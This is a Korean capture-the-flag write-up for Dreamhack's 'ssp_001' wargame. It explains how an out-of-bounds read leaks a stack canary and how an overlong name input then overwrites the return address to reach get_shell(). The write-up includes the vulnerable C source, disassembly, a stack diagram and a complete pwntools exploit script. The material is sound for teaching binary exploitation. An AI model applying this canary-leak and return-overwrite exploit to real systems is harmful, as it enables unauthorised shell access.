[Dreamhack] ssp_001
pwnable-wargame
ssp_001
https://dreamhack.io/wargame/challenges/33
소스코드를 확인해보면
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell()의 주소로 덮으면 플래그를 획득할 수 있는 것으로 보인다.
F를 입력하면 box에 입력을 받고 P를 입력하면 print_box()함수를 호출하여 해당 인덱스의 값을 출력한다. E를 입력하면 name_len에 이름의 크기를 입력하고 미리 적은 이름의 크기만큼 이름을 입력받는다.
gdb로 메인함수를 열어보면
pwndbg> disassemble main
...
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
해당 부분이 카나리 값 비교임을 알 수 있다. 카나리는 [ebp-0x8]에 위치한다.
위로 다시 돌아가서 메인함수에서
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
각각 F, P, E와 비교하고 있고, main+155를 따라가보면 box는 ebp-0x88에 위치하는 것으로 확인할 수 있다.
비슷하게
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
에서는 select가 [ebp-0x8a], 비슷한 원리로 C코드와 어셈블리 코드를 매치시켜나가면
+--------------------+ <- ebp - 0x94 (idx)
| idx |
+--------------------+ <- ebp - 0x90 (name_len)
| name_len |
+--------------------+ <- ebp - 0x8A (select[0x2])
| select[0x2] |
+--------------------+ <- ebp - 0x88 (box[0x40])
| box[0x40] |
| ... |
+--------------------+ <- ebp - 0x48 (name[0x40])
| name[0x40] |
| ... |
+--------------------+ <- ebp - 0x08 (카나리)
| 카나리 |
+--------------------+ <- ebp - 0x04 (dummy)
| dummy |
+--------------------+ <- ebp - 0x00 (sfp)
| sfp |
+--------------------+ <- ebp
ret
dummy: sfp부터 카나리까지의 빈 공간
다시 로직으로 돌아와서 P를 누르고 인덱스를 누르면 2개씩 읽어온다고 했다. 이것을 통해 box를 넘어서 카나리까지 출력해버릴 수 있다. 0x88부터 0x8까지, 즉 128바이트 길이이다. 카나리는 4바이트이므로 4번, 131 130 129 128까지 수행해주면 된다. 그러면 카나리 릭이 성공한다.
그 이후에 get_shell()의 주소로 덮어씌워주면 된다. 이것은 gdb에서 확인해도 되지만 ELF를 써서 가져와도 된다.
name을 입력받는 곳에서 name 40바이트, 카나리(실제값), 더미와 SFP 각각 4바이트씩 해서 RET까지 온 후 get_shell()의 주소로 가게 하면 된다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 17265)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
canary = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
slog("canary", canary)
payload = b'A' * 64
payload += p32(canary)
payload += b'B' * 4 # dummy
payload += b'C' * 4 # SFP
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)
p.interactive()

